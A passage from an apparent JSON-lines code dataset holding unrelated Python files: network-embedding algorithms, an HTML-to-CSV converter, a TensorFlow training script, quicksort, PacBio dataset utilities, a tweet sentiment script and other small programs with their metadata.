unittest.main(verbosity=2)\n","sub_path":"testsuit/discuz_3_test.py","file_name":"discuz_3_test.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"260199868","text":"#!/usr/local/bin/python\n\nimport gi\nimport ctypes\nfrom ctypes import *\n\nlibgobject = CDLL('libgobject-2.0.so.0')\n\n\nclass _PyGObject_Functions(ctypes.Structure):\n _fields_ = [\n ('register_class',\n ctypes.PYFUNCTYPE(ctypes.c_void_p, ctypes.c_char_p,\n ctypes.c_int, ctypes.py_object,\n ctypes.py_object)),\n ('register_wrapper',\n ctypes.PYFUNCTYPE(ctypes.c_void_p, ctypes.py_object)),\n ('lookup_class',\n ctypes.PYFUNCTYPE(ctypes.py_object, ctypes.c_int)),\n ('newgobj',\n ctypes.PYFUNCTYPE(ctypes.py_object, ctypes.c_void_p)),\n ]\n\n\nclass PyGObjectCPAI(object):\n def __init__(self):\n PyCObject_AsVoidPtr = ctypes.pythonapi.PyCObject_AsVoidPtr\n PyCObject_AsVoidPtr.restype = ctypes.c_void_p\n PyCObject_AsVoidPtr.argtypes = [ctypes.py_object]\n addr = PyCObject_AsVoidPtr(ctypes.py_object(\n gi._gobject._PyGObject_API))\n self._api = _PyGObject_Functions.from_address(addr)\n\n def pygobject_new(self, addr):\n return self._api.newgobj(addr)\n\n\ndef get_widget(ptr):\n return PyGObjectCPAI().pygobject_new(ptr)\n","sub_path":"usr/local/lib/linuxmint/mintMenu/capi.py","file_name":"capi.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"459932182","text":"import openpyxl\n\n#打开excel文件,\nwb = openpyxl.load_workbook('cases.xlsx')\n\n#选择工作簿中的某个表单\n\nsh = wb['test']\nprint(sh)\n\n#读取表格的内容\n\na = sh.cell(row=3, column=1).value #读取第三行第一列的数据\n\n#往表格中填写数据\nsh.cell(row=3, column=2).value = 9999\nsh.cell(row=3, column=3, value=8888)\n\n#写完数据一定要保存,保存后才会生效\nwb.save('cases.xlsx')\n\n#获取表单中最大的行\nmax_row = sh.max_row\nmax_column = sh.max_column\nprint(max_row)\n\n#获取最大的列\nmax_column = sh.max_column\nprint(max_column)\n\n#按行获取表格中的内容\nrows = sh.rows\nfor r in rows:\n print(list(rows))\n\n","sub_path":"unitetest2/excel文件操作练习.py","file_name":"excel文件操作练习.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"126796774","text":"import os\nimport sys\nimport numpy as np\nimport networkx as nx\n\nfile_path_dir = os.path.abspath('.')\nif os.path.abspath('.') not in sys.path:\n sys.path.append(file_path_dir)\n\nfrom generator.virtual_network import VirtualNetwork\n\ndef grc_rank(vn, sigma=0.0001, d=0.95, rtype='array'):\n \"\"\"Caculate the grc vector to rank node\n\n Args:\n sigma [float]: the pre-set small positive threshold\n d [float]: weight the nodes attrs and edges attrs\n edge_attr [str]: the attr of edges considered by M\n\n Returns:\n r [type]: the grc rank vector\n \"\"\"\n c = vn.calc_grc_c()\n M = vn.calc_grc_M()\n r = c\n delta = np.inf\n while(delta >= sigma):\n new_r = (1 - d) * c + d * M * r\n delta = np.linalg.norm(new_r - r)\n r = new_r\n if rtype == 'dict':\n dict_r = {}\n for i, v in enumerate(r):\n dict_r[i] = v\n return dict_r\n return r\n\n\ndef node_mapping(vn, pn, d=0.95):\n \"\"\"\n Return: vn_pn_slots\n \"\"\"\n vn_grc = grc_rank(vn, d=d, rtype='dict')\n pn_grc = grc_rank(pn, d=d, rtype='dict')\n vn_grc_sort = sorted(vn_grc.items(), reverse=True, key=lambda x: x[1])\n pn_grc_sort = sorted(pn_grc.items(), reverse=True, key=lambda x: x[1])\n vn_nodes = [v[0] for v in vn_grc_sort]\n pn_nodes = [p[0] for p in pn_grc_sort]\n vn_pn_slots = {}\n for vid in vn_nodes:\n for pid in pn_nodes:\n cpu_req = vn.graph.nodes[vid]['cpu']\n ram_req = vn.graph.nodes[vid]['ram']\n rom_req = vn.graph.nodes[vid]['rom']\n cpu_free = pn.graph.nodes[pid]['cpu_free']\n ram_free = pn.graph.nodes[pid]['ram_free']\n rom_free = pn.graph.nodes[pid]['rom_free']\n if pn.is_candidate_node(pid, cpu_req, ram_req, rom_req):\n # if (cpu_free >= cpu_req) and (ram_free >= ram_req) and (rom_free >= rom_req):\n vn_pn_slots[vid] = pid\n pn.update_node(pid, 'cpu_free', -cpu_req)\n pn.update_node(pid, 'ram_free', -ram_req)\n pn.update_node(pid, 'rom_free', -rom_req)\n pn_nodes.remove(pid)\n break\n # FAILURE\n if len(vn_pn_slots) < len(vn_nodes):\n vn.slots = {}\n vn.paths = {}\n return False\n # SUCCESS\n return vn_pn_slots\n\n\ndef link_mapping(vn, pn, vn_pn_slots):\n vn_pn_paths = {}\n for i in range(vn.edges_num):\n if i < (vn.edges_num-1) and vn_pn_slots[i] == vn_pn_slots[i+1]:\n continue\n # request\n bw_req = vn.graph.edges[i, i+1]['bw']\n # sub_gragh\n edges_data_bw_free = pn.graph.edges.data('bw_free')\n available_egdes = [(u, v) for (u, v, bw_free)\n in edges_data_bw_free if bw_free >= bw_req]\n temp_graph = nx.Graph()\n temp_graph.add_edges_from(available_egdes)\n try:\n # find shortest path\n path = nx.dijkstra_path(\n temp_graph, vn_pn_slots[i], vn_pn_slots[i+1])\n # update link resource\n pn.update_bw_with_path(path, -bw_req)\n vn_pn_paths[(i, i+1)] = path\n except:\n # FAILURE\n vn.slots = {}\n vn.paths = {}\n return False\n # SUCCESS\n vn.slots = vn_pn_slots\n vn.paths = vn_pn_paths\n return True\n\n\nif __name__ == '__main__':\n '''test grc rank'''\n vn = VirtualNetwork(4)\n print(vn.bw_data)\n vn.bw_data = np.array([7, 18, 8])\n vn.add_edge_attrs(random=False)\n print(vn.bw_data)\n vn.bw_data = [68, 136, 136, 68]\n print(vn.calc_grc_M().todense())\n\n c = np.array([0.210526315789474, 0.315789473684211, 0.105263157894737, 0.368421052631579])\n # 0.109928647824913, 0.373627706891929, 0.385389979417696, 0.131053665865462\n r = grc_rank(vn, sigma=0.0001, d=0.95, rtype='array')\n print(r)","sub_path":"algo/grc/mapping.py","file_name":"mapping.py","file_ext":"py","file_size_in_byte":3833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"460720688","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#Richard's html2csv converter\n#rbarnes@umn.edu\n#\n\n\nfrom bs4 import BeautifulSoup\nimport os\nimport sys\nimport csv\nimport argparse\n\nparser = argparse.ArgumentParser(description='Reads in an HTML and attempts to convert all tables into CSV files.')\nparser.add_argument('--delimiter', '-d', action='store', default=',',help=\"Character with which to separate CSV columns\")\nparser.add_argument('--quotechar', '-q', action='store', default='\"',help=\"Character within which to nest CSV text\")\nparser.add_argument('--ignoreempty', '-e', action='store_true', help=\"Ignore empty tables. Helps reduce output on table-layout html pages.\")\nparser.add_argument('filename',nargs=\"?\",help=\"HTML file from which to extract tables\")\nargs = parser.parse_args()\n\n\nif sys.stdin.isatty() and not args.filename:\n parser.print_help()\n sys.exit(-1)\nelif not sys.stdin.isatty():\n args.filename = sys.stdin\nelse:\n args.filename = open(sys.argv[1],'r')\n\nprint(\"Opening file\")\nfin = args.filename.read()\n\nprint(\"Parsing file\")\nsoup = BeautifulSoup(fin,\"html.parser\")\n\nprint(\"Preemptively removing unnecessary tags\")\n[s.extract() for s in soup('script')]\n\n\n\nprint(\"CSVing file\")\ntablecount = -1\nfor table in soup.findAll(\"table\"):\n tablecount += 1\n tableisempty = True\n print(\"Processing Table #%d\" % (tablecount))\n outfilename = sys.argv[1]+str(tablecount)+'.csv'\n with open(outfilename, 'w', newline='') as csvfile:\n fout = csv.writer(csvfile, delimiter=args.delimiter, quotechar=args.quotechar, quoting=csv.QUOTE_MINIMAL)\n rowcount = 1\n #Removes nested tables. for handling the sins of 1990's web pages.\n [t.extract() for t in table.findAll(\"table\")]\n #This would grab all TRs regardless of depth without the above line removing nested tables\n for row in table.findAll('tr'):\n print(f\"Processing row number {rowcount}\")\n rowcount += 1\n cols = row.findAll(['td','th'])\n print(f\"Found {len(cols)} columns.\")\n if cols:\n cols = [str(x.text).strip() for x in cols]\n if (len(cols) > 1) or len(cols[0]) > 0 :\n tableisempty = False\n if not tableisempty:\n fout.writerow(cols)\n if args.ignoreempty and tableisempty:\n print(f\"Removing {outfilename} because it is empty and `-e` flag was activated.\")\n os.remove(outfilename)\n","sub_path":"html2csv.py","file_name":"html2csv.py","file_ext":"py","file_size_in_byte":2331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"228559485","text":"# Copyright 2016 The TensorFlow Authors All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\n\"\"\"Code for training the prediction model.\"\"\"\n\nimport numpy as np\nfrom datetime import datetime\nimport tensorflow as tf\nimport os\n\nfrom tensorflow.python.platform import app\nfrom tensorflow.python.platform import flags\n\nfrom data.prediction_input import build_tfrecord_input\n\n\n# How often to record tensorboard summaries.\nSUMMARY_INTERVAL = 40\n\n# How often to run a batch through the validation model.\nVAL_INTERVAL = 200\n\n# How often to save a model checkpoint\nSAVE_INTERVAL = 400\n\n# tf record data location:\nDATA_DIR = '/cs/vml4/xca64/robot_data/push/push_train'\n\n# local output directory\nOUT_DIR = '/cs/vml4/xca64/robot_data/result'\n\n# summary output dir\nSUM_DIR = '/cs/vml4/xca64/robot_data/summaries'\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_string('data_dir', DATA_DIR, 'directory containing data.')\nflags.DEFINE_string('output_dir', OUT_DIR, 'directory for model checkpoints.')\nflags.DEFINE_string('gif_dir', '/cs/vml4/xca64/robot_data/gif/' , 'directory gif result')\nflags.DEFINE_integer('gif_nums', 5 , 'number of gif files to save')\nflags.DEFINE_string('event_log_dir',SUM_DIR, 'directory for writing summary.')\nflags.DEFINE_integer('num_iterations', 100000, 'number of training iterations.')\nflags.DEFINE_string('pretrained_model', '' ,\n 'filepath of a pretrained model to initialize from.')\n\nflags.DEFINE_integer('sequence_length', 10,\n 'sequence length, including context frames.')\nflags.DEFINE_integer('context_frames', 2, '# of frames before predictions.')\nflags.DEFINE_integer('use_state', 1,\n 'Whether or not to give the state+action to the model')\n\nflags.DEFINE_string('model', 'prednet',\n 'model architecture to use - prediction, prednet')\n\nflags.DEFINE_integer('num_masks', 10,\n 'number of masks, usually 1 for DNA, 10 for CDNA, STN.')\nflags.DEFINE_float('schedsamp_k', 900.0,\n 'The k hyperparameter for scheduled sampling,'\n '-1 for no scheduled sampling.')\nflags.DEFINE_float('train_val_split', 0.95,\n 'The percentage of files to use for the training set,'\n ' vs. the validation set.')\n\nflags.DEFINE_integer('batch_size', 32, 'batch size for training')\nflags.DEFINE_float('learning_rate', 0.001,\n 'the base learning rate of the generator')\n\nif FLAGS.model == 'CDNA' or FLAGS.model == 'DNA' or FLAGS.model == 'STP':\n from model.prediction import Model\nelif FLAGS.model == 'prednet' or FLAGS.model == 'prednet_v2' or FLAGS.model == 'prednet_v3':\n from model.prednet import Model\nelse:\n raise RuntimeError('No model found')\n\nimport moviepy.editor as mpy\ndef npy_to_gif(npy, filename):\n clip = mpy.ImageSequenceClip(list(npy), fps=10)\n clip.write_gif(filename)\n\n\n\ndef main(unused_argv):\n tf.logging.set_verbosity(tf.logging.INFO)\n with tf.Graph().as_default():\n print('Constructing models and inputs.')\n with tf.variable_scope('model', reuse=None) as training_scope:\n images, actions, states = build_tfrecord_input(training=True)\n model = Model(images, actions, states, FLAGS.sequence_length)\n\n with tf.variable_scope('val_model', reuse=None):\n val_images, val_actions, val_states = build_tfrecord_input(training=False)\n val_model = Model(val_images, val_actions, val_states,\n FLAGS.sequence_length, training_scope)\n\n print('Constructing saver.')\n # Make saver.\n saver = tf.train.Saver(\n tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES), max_to_keep=0)\n\n # if not os.path.isdir(os.path.expanduser(FLAGS.output_dir)):\n # os.mkdir(os.path.expanduser(FLAGS.output_dir)) \n time_info = datetime.now().strftime('%Y-%m-%d-%H%M%S')\n saver_dir = os.path.join(os.path.expanduser(FLAGS.output_dir), FLAGS.model, time_info, 'checkpoints')\n if not os.path.isdir(saver_dir):\n os.makedirs(saver_dir)\n\n # Make training session.\n # sess = tf.InteractiveSession()\n # gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=args.gpu_memory_fraction)\n # sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options, log_device_placement=False))\n\n sess = tf.Session()\n summary_dir = os.path.join(os.path.expanduser(FLAGS.output_dir), FLAGS.model, time_info, 'summaries')\n if os.path.isdir(summary_dir):\n os.makedirs(summary_dir)\n\n summary_writer = tf.summary.FileWriter(\n summary_dir, graph=sess.graph, flush_secs=10)\n\n \n\n tf.train.start_queue_runners(sess)\n sess.run(tf.global_variables_initializer())\n sess.run(tf.local_variables_initializer())\n tf.logging.info('iteration number, cost')\n\n if FLAGS.pretrained_model:\n files = os.listdir(FLAGS.pretrained_model)\n meta_files = [s for s in files if s.endswith('.meta')]\n if len(meta_files) == 0:\n raise ValueError('No pretrained model find under the directory '+ FLAGS.pretrained_model)\n # saver = tf.train.import_meta_graph(os.path.join(FLAGS.pretrained_model, meta_files[-1]))\n # print(tf.train.latest_checkpoint(FLAGS.pretrained_model))\n print('Start to load pretrained model')\n saver.restore(sess, tf.train.latest_checkpoint(FLAGS.pretrained_model))\n print('Successfully Restored the model')\n\n print('Start Tranning')\n # Run training.\n for itr in range(FLAGS.num_iterations):\n # print('In iteration ', itr)\n # Generate new batch of data.\n feed_dict = {model.prefix: 'train',\n model.iter_num: np.float32(itr),\n model.lr: FLAGS.learning_rate}\n cost, _, summary_str = sess.run([model.loss, model.train_op, model.summ_op],\n feed_dict)\n\n # Print info: iteration #, cost.\n tf.logging.info(' In Iteration ' + str(itr) + ', Cost ' + str(cost))\n \n if (itr) % VAL_INTERVAL == 20:\n # Run through validation set.\n feed_dict = {val_model.lr: 0.0,\n val_model.prefix: 'val',\n val_model.iter_num: np.float32(itr)}\n _, val_summary_str, gen_images, images = sess.run([val_model.train_op, val_model.summ_op, val_model.gen_images, val_model.images],\n feed_dict)\n summary_writer.add_summary(val_summary_str, itr)\n # Output a gif file \n gen_images = np.transpose(np.asarray(gen_images[FLAGS.context_frames - 1:]), (1,0,2,3,4))\n images = np.transpose(np.asarray(images), (1,0,2,3,4))\n gif_dir = os.path.join(os.path.expanduser(FLAGS.output_dir), FLAGS.model, time_info, 'gif')\n if not os.path.isdir(gif_dir):\n os.makedirs(gif_dir)\n\n for i in range(FLAGS.gif_nums): \n npy_to_gif(gen_images[i]*255, os.path.join(gif_dir, str(i)+'_gen.gif'))\n npy_to_gif(images[i]*255, os.path.join(gif_dir, str(i)+'_org.gif'))\n\n if (itr) % SAVE_INTERVAL == 20:\n tf.logging.info('Saving model.')\n saver.save(sess, os.path.join(os.path.expanduser(saver_dir), 'model' + str(itr)))\n\n if (itr) % SUMMARY_INTERVAL:\n summary_writer.add_summary(summary_str, itr)\n\n tf.logging.info('Saving model.')\n saver.save(sess, os.path.join(os.path.expanduser(saver_dir), 'model'))\n tf.logging.info('Training complete')\n tf.logging.flush()\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"data/prediction_train_ucf.py","file_name":"prediction_train_ucf.py","file_ext":"py","file_size_in_byte":7999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"174303454","text":"import seitoolz.bars as bars\nimport threading\nimport time\nimport logging\nimport ibapi.get_feed as feed\n\nlogging.basicConfig(filename='/logs/get_feed_10m.log',level=logging.DEBUG)\n\ninterval='10m'\nminDataPoints = 10000\n\ndef get_history(contracts):\n global interval\n global minDataPoints\n dataPath = './data/from_IB/'\n \n (durationStr, barSizeSetting, whatToShow)=feed.interval_to_ibhist_duration(interval)\n feed.cache_bar_csv(dataPath, barSizeSetting)\n for contract in contracts:\n pair=contract.symbol + contract.currency\n histdata = feed.get_bar_hist(dataPath, whatToShow, minDataPoints, durationStr, barSizeSetting, pair)\n bars.proc_history(contract, histdata, interval)\n \ndef start_proc():\n global interval\n \n contracts=bars.get_contracts()\n pairs=bars.get_symbols()\n threads = []\n \n t1 = threading.Thread(target=get_history, args=[contracts])\n t1.daemon=True\n threads.append(t1)\n \n [t.start() for t in threads]\n #[t.join() for t in threads]\n bars.update_bars(pairs, interval)\n\nstart_proc()\n\n\n","sub_path":"get_feed_10m.py","file_name":"get_feed_10m.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"286366791","text":"\"\"\"\nFor reference\nhttps://www.geeksforgeeks.org/quick-sort/\n\nThe time complextiy is the same as Merge sort O(nlogn) but the main \ndifference betweeen the 2 is that for linked lists,merge sort is much faster since \naccess is randomized and the best time complexity is wthen the pivot is the middle\nelement and the words is when the pivot is either the last or the first element since\nthe number of swaps is greater\n\nQuick Sort is better for arrays since extra space is not required as compared to Merge Sort\n\nThe random access is needed because of the Pivot(Rest the access is sequential)\n\"\"\"\n\nfrom datetime import datetime\nfrom random import randint\n\n\ndef partition(data, low, high):\n\n # This function takes last element as pivot, places\n # the pivot element at its correct position in sorted\n # array, and places all smaller (smaller than pivot)\n # to left of pivot and all greater elements to right\n # of pivot Data is the array,low is starting index and\n # high is the ending index\n\n # Last Element as Pivot(For all 3 cases the core logic I.E the below piece will remain the same)\n pivot = data[high]\n index = low - 1\n\n for other in range(low, high):\n\n if data[other] < pivot:\n index += 1\n data[index], data[other] = data[other], data[index]\n\n # For putting the pivot at the right place\n data[index + 1], data[high] = data[high], data[index + 1]\n return index + 1\n\n\ndef quick_sort(data, low, high):\n\n if low < high:\n\n # So We Recursively Sort the Left Subtree and the Right Subtree based on the ending index\n # lesser than the place at which we partitioned and one index more for the right subtree\n\n partition_index = partition(data, low, high)\n quick_sort(data, low, partition_index - 1)\n quick_sort(data, partition_index + 1, high)\n\n\n# Input for Inplace Sort\nlist_input = list(map(int, input().split()))\nstart_time = datetime.now()\nquick_sort(list_input, 0, len(list_input) - 1)\nend_time = datetime.now()\nprint(list_input, int((end_time - start_time).total_seconds()))\n","sub_path":"Miscellaneous/Quick_sort.py","file_name":"Quick_sort.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"574067449","text":"# --- Day 8: Space Image Format ---\n#\n# Part 1: Count data on a layer of the image\n# Part 2: Output an image by collapsing the layers\n#\n\nIMAGEX = 25\nIMAGEY = 6\n\nf = open('input.txt', 'r')\ntxt = f.read().lstrip().rstrip()\nf.close()\n\n# IMAGEX = 3\n# IMAGEY = 2\n# txt = \"123456789012\"\n\nimg = []\nlayer = -1\np=0\nwhile p < len(txt):\n img.append([]) # New layer\n layer += 1\n for i in range(IMAGEY):\n img[layer].append(txt[p:p+IMAGEX])\n p+=IMAGEX\n\nzerocounts = [0 for x in range(len(img))]\nfor i,layer in enumerate(img):\n for row in layer:\n zerocounts[i] += row.count(\"0\")\n\n#print(min(zerocounts), \" on layer \", zerocounts.index(min(zerocounts)))\n\nones = 0\ntwos = 0\nfor i,row in enumerate(img[zerocounts.index(min(zerocounts))]):\n ones += row.count('1')\n twos += row.count('2')\n\n#print(ones, twos, ones*twos)\n\ncollapsedimage = [['2' for i in range(IMAGEX)] for j in range(IMAGEY)]\n\nimg.reverse()\n\nfor layer in img:\n for i,row in enumerate(layer):\n for j,column in enumerate(row):\n if layer[i][j] != '2':\n collapsedimage[i][j] = layer[i][j]\n\nfor row in collapsedimage:\n print(row)","sub_path":"20191208/aoc_20191208.py","file_name":"aoc_20191208.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"106901097","text":"#coding = utf-8\n\n# Author: Martin D. Smith\n\n\n\"\"\"\nUtils that support fringe DataSet features.\n\"\"\"\nfrom __future__ import absolute_import\n\nimport os\nimport tempfile\nimport logging\nimport json\nimport shutil\nimport datetime\nimport pysam\nfrom grandflow.util.Process import backticks\n\nlog = logging.getLogger(__name__)\n\ndef getTimeStampedName(mType):\n \"\"\"Generate a timestamped name using the given metatype 'mType' and the\n current UTC time\"\"\"\n mType = mType.lower()\n mType = '_'.join(mType.split('.'))\n time = datetime.datetime.utcnow().strftime(\"%y%m%d_%H%M%S%f\")[:-3]\n return \"{m}-{t}\".format(m=mType, t=time)\n\ndef getCreatedAt():\n \"\"\"Generate a CreatedAt string using the current UTC time\"\"\"\n return datetime.datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%S%f\")[:-6]\n\ndef which(exe):\n if os.path.exists(exe) and os.access(exe, os.X_OK):\n return exe\n path = os.getenv('PATH')\n for this_path in path.split(os.path.pathsep):\n this_path = os.path.join(this_path, exe)\n if os.path.exists(this_path) and os.access(this_path, os.X_OK):\n return this_path\n return None\n\ndef consolidateXml(indset, outbam, useTmp=True, cleanup=True):\n log.debug(\"Consolidating to {o}\".format(o=outbam))\n\n final_free_space = disk_free(os.path.split(outbam)[0])\n projected_size = sum(file_size(infn)\n for infn in indset.toExternalFiles())\n log.debug(\"Projected size: {p}\".format(p=projected_size))\n log.debug(\"In place free space: {f}\".format(f=final_free_space))\n # give it a 5% buffer\n if final_free_space < (projected_size * 1.05):\n raise RuntimeError(\"Not enough space available in {o} to consolidate, \"\n \"{p} required, {a} available\".format(\n o=os.path.split(outbam)[0],\n p=projected_size * 1.05,\n a=final_free_space\n ))\n # indset is a dataset, not a filename. So we need to write the dataset out\n # to a file anyway. We'll use tmp for that, but we won't go so far as to\n # copy the actual resources:\n tmpout = tempfile.mkdtemp(suffix=\"consolidate-xml\")\n tmp_xml = os.path.join(tmpout,\n \"orig.{t}.xml\".format(\n t=indset.__class__.__name__.lower()))\n tmp_free_space = disk_free(tmpout)\n\n # need 2x for tmp in and out, plus 10% buffer\n if useTmp:\n log.debug(\"Tmp free space (need ~2x): {f}\".format(f=tmp_free_space))\n if (tmp_free_space > (projected_size * 2.1)) and useTmp:\n log.debug(\"Using tmp storage: \" + tmpout)\n indset.copyTo(tmp_xml)\n origOutBam = outbam\n outbam = os.path.join(tmpout, \"outfile.bam\")\n else:\n log.debug(\"Using in place storage\")\n indset.write(tmp_xml)\n useTmp = False\n _pbmergeXML(tmp_xml, outbam)\n if useTmp:\n shutil.copy(outbam, origOutBam)\n shutil.copy(outbam + \".pbi\", origOutBam + \".pbi\")\n if cleanup:\n shutil.rmtree(tmpout)\n return outbam\n\ndef _tmpFiles(inFiles, tmpout=None):\n tmpInFiles = []\n if tmpout is None:\n tmpout = tempfile.mkdtemp(suffix=\"consolidation-filtration\")\n for i, fname in enumerate(inFiles):\n newfn = _infixFname(os.path.join(tmpout, os.path.basename(fname)), i)\n shutil.copy(fname, newfn)\n tmpInFiles.append(newfn)\n return tmpInFiles\n\ndef disk_free(path):\n if path == '':\n path = os.getcwd()\n space = os.statvfs(path)\n return space.f_bavail * space.f_frsize\n\ndef file_size(path):\n return os.stat(path).st_size\n\ndef _pbindexBam(fname):\n cmd = \"pbindex {i}\".format(i=fname)\n log.info(cmd)\n o, r, m = backticks(cmd)\n if r != 0:\n raise RuntimeError(m)\n return fname + \".pbi\"\n\ndef _indexBam(fname):\n pysam.samtools.index(fname, catch_stdout=False)\n return fname + \".bai\"\n\ndef _indexFasta(fname):\n pysam.samtools.faidx(fname, catch_stdout=False)\n return fname + \".fai\"\n\ndef _pbmergeXML(indset, outbam):\n cmd = \"pbmerge -o {o} {i} \".format(i=indset,\n o=outbam)\n log.info(cmd)\n o, r, m = backticks(cmd)\n if r != 0:\n raise RuntimeError(\"Pbmerge command failed: {c}\\n Message: \"\n \"{m}\".format(c=cmd, m=m))\n return outbam\n\ndef _infixFname(fname, infix):\n prefix, extension = os.path.splitext(fname)\n return prefix + str(infix) + extension\n\ndef _earlyInfixFname(fname, infix):\n path, name = os.path.split(fname)\n tokens = name.split('.')\n tokens.insert(1, str(infix))\n return os.path.join(path, '.'.join(tokens))\n\ndef _swapPath(dest, infile):\n return os.path.join(dest, os.path.split(infile)[1])\n\ndef _fileCopy(dest, infile, uuid=None):\n fn = _swapPath(dest, infile)\n if os.path.exists(fn):\n if uuid is None:\n raise IOError(\"File name exists in destination: \"\n \"{f}\".format(f=infile))\n subdir = os.path.join(dest, uuid)\n if not os.path.exists(subdir):\n os.mkdir(subdir)\n fn = _swapPath(subdir, fn)\n shutil.copyfile(infile, fn)\n assert os.path.exists(fn)\n return fn\n\n","sub_path":"io/dataset/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"250091386","text":"import json\r\nfrom textblob import TextBlob\r\nimport matplotlib\r\nmatplotlib.use('TkAgg')\r\nimport matplotlib.pyplot as plt\r\nfrom wordcloud import WordCloud\r\n\r\n\r\npolarity=[]\r\nsubjectivity=[]\r\npolardic={}\r\n#Get the JSON data\r\ntweetFile = open(\"tweets_small.json\", \"r\")\r\ntweetData = json.load(tweetFile)\r\ntweetFile.close()\r\n\r\n# Continue your program below!\r\n\r\n# Textblob sample:\r\nfor each in tweetData:\r\n tb = TextBlob(each[\"text\"])\r\n polarity.append(tb.polarity)\r\n averagep=sum(polarity)/len(polarity)\r\n polardic[tb] = tb.polarity\r\n # print(\"Average of polarity=\",averagep)\r\n subjectivity.append(tb.subjectivity)\r\n averages=sum(subjectivity)/len(subjectivity)\r\n # print(\"Average of subjectivity=\",subjectivity)\r\nprint(\"Average of polarity=\", averagep)\r\nprint(\"Average of subjectivity=\", averages)\r\nstring = str(polardic.keys())\r\n\r\nnum_bins=5\r\nn, bins, patches = plt.hist(polarity, num_bins, facecolor='purple', alpha=.75)\r\nplt.show()\r\nn, bins, patches=plt.hist(subjectivity, num_bins, facecolor='red', alpha=1)\r\nplt.show()\r\n\r\nword_count={}\r\ntwt_str=\"\"\r\n\r\nfor each in tweetData:\r\n twt_str+=(each[\"text\"])\r\n twt_str=twt_str.lower()\r\ntwtblob= TextBlob(twt_str)\r\ntweet_list=twtblob.words\r\nfor each in tweet_list:\r\n if len(each)>3 and each != \"https\" and each.isalpha():\r\n if each not in word_count:\r\n word_count[each] = 1\r\n else:\r\n word_count[each]+=1\r\nwc=WordCloud(background_color=\"white\", width=900, height=500, relative_scaling=1).generate_from_frequencies(word_count)\r\nplt.imshow(wc, interpolation ='bilinear')\r\nplt.show()\r\n\r\nfor each in polardic:\r\n if polardic.values() <0:\r\n string = str(polardic.keys())\r\n","sub_path":"twitterdata.py","file_name":"twitterdata.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"597952499","text":"#https://leetcode.com/problems/add-two-numbers/\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\n num1=''\n while l1!=None:\n num1+=str(l1.val)\n l1=l1.next\n num1=num1[::-1]\n num2=''\n while l2!=None:\n num2+=str(l2.val)\n l2=l2.next\n num2=num2[::-1]\n \n num3=str(int(num1)+int(num2))[::-1]\n l3=[int(i) for i in num3]\n ans=ListNode(l3[0])\n p=ans\n for i in range(1,len(l3)):\n p.next=ListNode(l3[i])\n p=p.next\n return ans\n ","sub_path":"solutions/2_add_two_num.py","file_name":"2_add_two_num.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"22062074","text":"from separator_ui import sep\r\nfrom currenties import currentie\r\n\r\nfrom card import azur_min, gold_min, premium_min, visa_min, vip_min\r\nfrom card import azur_max, gold_max, premium_max, visa_max, vip_max\r\nfrom card import azur_perc, gold_perc, premium_perc, visa_perc, vip_perc\r\nfrom card import azur_limit, gold_limit, premium_limit, visa_limit, vip_limit\r\n\r\ndef _doc(card):\r\n\r\n\tcards = {\r\n\t\t'azur': [azur_limit, azur_perc, azur_max, azur_min],\r\n\t\t'gold': [gold_limit, gold_perc, gold_max, gold_min],\r\n\t\t'premium': [premium_limit, premium_perc, premium_max, premium_min],\r\n\t\t'visa': [visa_limit, visa_perc, visa_max, visa_min],\r\n\t\t'vip': [vip_limit, vip_perc, vip_max, vip_min],\r\n\t\t}\r\n\r\n\tdoc = (\r\n\tf\"Vous ne pouvez pas retirer plus de {currentie(sep(cards.get(card)[2]))} par connexion.\\n\"\r\n\tf\"Vous ne pouvez pas entrer un montant inférieur à {currentie(sep(cards.get(card)[3]))}.\\n\"\r\n\tf\"La banque vous prélève {cards.get(card)[1]}% par transaction.\\n\"\r\n\tf\"Votre limite s'élève à {currentie(sep(cards.get(card)[0]))}.\"\r\n\t)\r\n\r\n\treturn 